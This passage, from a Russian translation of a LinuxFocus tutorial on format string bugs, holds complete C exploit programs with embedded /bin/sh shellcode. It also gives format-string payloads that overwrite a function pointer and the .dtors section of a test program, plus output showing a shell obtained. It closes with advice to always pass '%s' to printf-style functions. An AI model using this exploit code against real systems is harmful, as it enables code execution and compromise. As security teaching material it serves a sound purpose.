  printf("*** argv %d ***\n", nb);
  printf("argv = %p\n", argv);
  printf("arg = %p\n", arg);
  for (i = 0; i<argc; i++) {
    printf("argv[%d] = %p (%p)\n", i, argv[i], &argv[i]);
    printf("arg[%d] = %p (%p)\n", i, arg[i], &arg[i]);
  }
  printf("\n");

  /* recall */
  if (nb == 0)
    exit(0);
  execve(argv[0], arg, env);
}
Входные данные - целое nb, программа будет рекурсивно вызывать себя nb+1 раз:
>>./argv 2
*** argv 2 ***
argv = 0xbffff6b4
arg = 0x8049828
argv[0] = 0xbffff80b (0xbffff6b4)
arg[0] = 0xbffff80b (0x8049828)
argv[1] = 0xbffff812 (0xbffff6b8)
arg[1] = 0x8049838 (0x804982c)

*** argv 1 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)

*** argv 0 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)

Мы сразу же замечаем, что адреса, выделяемые для arg и argv, больше не двигаются после второго вызова. Мы будем использовать это свойство в нашем эксплоите. Мы просто должны немного изменить нашу программу build, чтобы она вызывала себя перед вызовом vuln. Так мы получаем точный адрес argv и нашего шеллкода:

/* build2.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //Та же функция, что и в build.c
}

int
main(int argc, char **argv) {

  char *buf;
  char shellcode[] =
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
     "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if(argc < 3)
    return EXIT_FAILURE;

  if (argc == 3) {

    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* адрес */
        &shellcode,
        atoi(argv[2]));              /* смещение */

    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL);

  } else {

    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", argv[2]);
    buf = build(strtoul(argv[3], NULL, 16),  /* адрес */
        argv[2],
        atoi(argv[4]));              /* смещение */

    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));

    execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL);
  }

  return EXIT_SUCCESS;
}

Хитрость в том, что мы знаем, что вызывать, исходя из количества аргументов, полученных программой. Чтобы запустить эксплоит, мы просто передаем build2 адрес, куда мы хотим писать, и смещение. Нам не надо больше передавать значение, так как оно вычисляется нашими последовательными вызовами.

Чтобы достичь цели, нам надо сохранять одинаковое распределение памяти между различными вызовами build2, а затем vuln (вот почему мы вызываем функцию build(), чтобы использовать одинаковый "отпечаток" памяти).:

>>./build2 0xbffff634 3
Calling ./build2 ...
adr : -1073744332 (bffff634)
val : -1073744172 (bffff6d4)
valh: 49151 (bfff)
vall: 63188 (f6d4)
[6ця⌡4ця⌡%.49143x%3$hn%.14037x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff88f
adr : -1073744332 (bffff634)
val : -1073743729 (bffff88f)
valh: 49151 (bfff)
vall: 63631 (f88f)
[6ця⌡4ця⌡%.49143x%3$hn%.14480x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6ця⌡4ця⌡000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000
00000000000] (127)
after : ptrf() = 0xbffff88f (0xbffff634)
Segmentation fault (core dumped)

Почему это не работает? Мы сказали, что должны построить точную копию памяти между двумя вызовами ... а сами не сделали этого! argv[0] (имя программы) поменялось. Наша программа вначале называлась build2 (6 байт), а затем vuln (4 байта). Различие в 2 байта, которое в точности равно значению, которое вы могли заметить в примере выше. Адрес шеллкода при втором вызове build2 равен sc=0xbffff88f, однако содержимое argv[2] в vuln дает нам 20xbffff891: наши 2 байта. Чтобы решить проблему, достаточно переименовать build2 в что-нибудь из 4 букв, например, bui2:

>>cp build2 bui2
>>./bui2 0xbffff634 3
Calling ./bui2 ...
adr : -1073744332 (bffff634)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[6ця⌡4ця⌡%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff891
adr : -1073744332 (bffff634)
val : -1073743727 (bffff891)
valh: 49151 (bfff)
vall: 63633 (f891)
[6ця⌡4ця⌡%.49143x%3$hn%.14482x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6ця⌡4ця⌡0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
000000000000000] (127)
after : ptrf() = 0xbffff891 (0xbffff634)
bash$

Опять выиграли: таким способом это работает намного лучше ;-) Программа запуска оболочки находится в стеке, мы изменили адрес, на который указывал ptrf, чтобы он указывал на наш шеллкод. Естественно, такое может произойти только если стек доступен для выполнения.

Но мы видели, что строки формата позволяют нам производить запись куда угодно: давайте добавим деструктор в нашу программу в секцию .dtors:

>>objdump -s -j .dtors vuln

vuln:     file format elf32-i386

Contents of section .dtors:
80498c0 ffffffff 00000000                    ........
>>./bui2 80498c4 3
Calling ./bui2 ...
adr : 134518980 (80498c4)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[ЖД%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff894
adr : 134518980 (80498c4)
val : -1073743724 (bffff894)
valh: 49151 (bfff)
vall: 63636 (f894)
[ЖД%.49143x%3$hn%.14485x%4$hn] (34)
0 0xbffff86a
1 0xbffff871
2 0xbffff894
3 0xbffff8c2
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [ЖД000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
0000000000000000] (127)
after : ptrf() = 0x80486c4 (0xbffff634)
Welcome in "helloWorld"
bash$ exit
exit
>>

Здесь не создается дамп памяти при выходе из деструктора. Это потому, что наш шеллкод содержит вызов exit(0).

В заключение, как последний подарок, приводим программу build3.c, которая также выдает оболочку, но передает данные через переменную окружения:

/* build3.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //Функция, что и в build.c
}

int main(int argc, char **argv) {
  char **env;
  char **arg;
  unsigned char *buf;
  unsigned char shellcode[] =
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
       "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if (argc == 3) {

    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* адрес */
        &shellcode,
        atoi(argv[2]));              /* смещение */

    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    env = (char **) malloc(sizeof(char *) * 4);
    env[0]=&shellcode;
    env[1]=argv[1];
    env[2]=argv[2];
    env[3]=NULL;
    execve(argv[0],arg,env);
  } else
  if(argc==2) {

    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", environ[0]);
    buf = build(strtoul(environ[1], NULL, 16),  /* адрес */
        environ[0],
        atoi(environ[2]));              /* смещение */

    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    execve("./vuln",arg,environ);
  }

  return 0;
}

Опять, так как данное окружение находится в стеке, мы должны заботиться о том, чтобы не изменять память (т.е. изменять позицию переменных и аргументов). Имя выполняемого файла должно содержать такое же количество символов, как и имя уязвимой программы vuln.

Здесь, мы решили использовать глобальную переменную extern char **environ, для установки нужных нам значений:

  1. environ[0]: содержит шеллкод;
  2. environ[1]: содержит адрес, куда мы предполагаем произвести запись;
  3. environ[2]: содержит смещение.
Мы покидаем вас, чтобы вы поиграли с этим ... эта (слишком) длинная статья уже наполнена слишком большим количеством исходного кода и тестирующих программ.  

Заключение: как избежать ошибок формата?

Как показано в этой статье, основная проблема исходит от свободы, данной пользователю, составлять свои собственные строки формата. Решение, как избежать этого изъяна, очень простое: никогда не оставляйте возможность пользователю предоставлять свою строку формата! Чаще всего, это просто значит вставлять строку "%s", когда вызывается такая функция как printf(), syslog(), ... Если вы действительно не можете обойтись без этого, вам надо очень тщательно проверять ввод, поступивший от пользователя.
 

Благодарности

Авторы благодарят Pascal Kalou Bouchareine за его терпение (ему надо было разобраться почему наш эксплоит с шеллкодом в стеке не работал ... в то время как этот стек не был доступен для выполнения), его идеи (более конкретно - хитрость с exec*()), его поощерение ... также за его статью об ошибках формата, которая, в дополнение нашему интересу к вопросу, произвела значительную умственную агитацию ;-)

 

Ссылки


Сноски

... командам1
слово команда обозначает здесь все, что влияет на формат строки: ширина, точность, ...
... байт2
-1 появляется из-за последнего символа, зарезервированного для '\0'.

Страница отзывов

У каждой заметки есть страница отзывов. На этой странице вы можете оставить свой комментарий или просмотреть комментарии других читателей.
 talkback page 

Webpages maintained by the LinuxFocus Editor team
© Frйdйric Raynal, Christophe Blaess, Christophe Grenier, FDL
LinuxFocus.org

Click here to report a fault or send a comment to LinuxFocus
Translation information:
fr -> -- Frйdйric Raynal, Christophe Blaess, Christophe Grenier
fr -> en Frйdйric
en -> en Lorne Bailey
en -> ru Kolobynin Alexey

2001-10-26, generated by lfparser version 2.17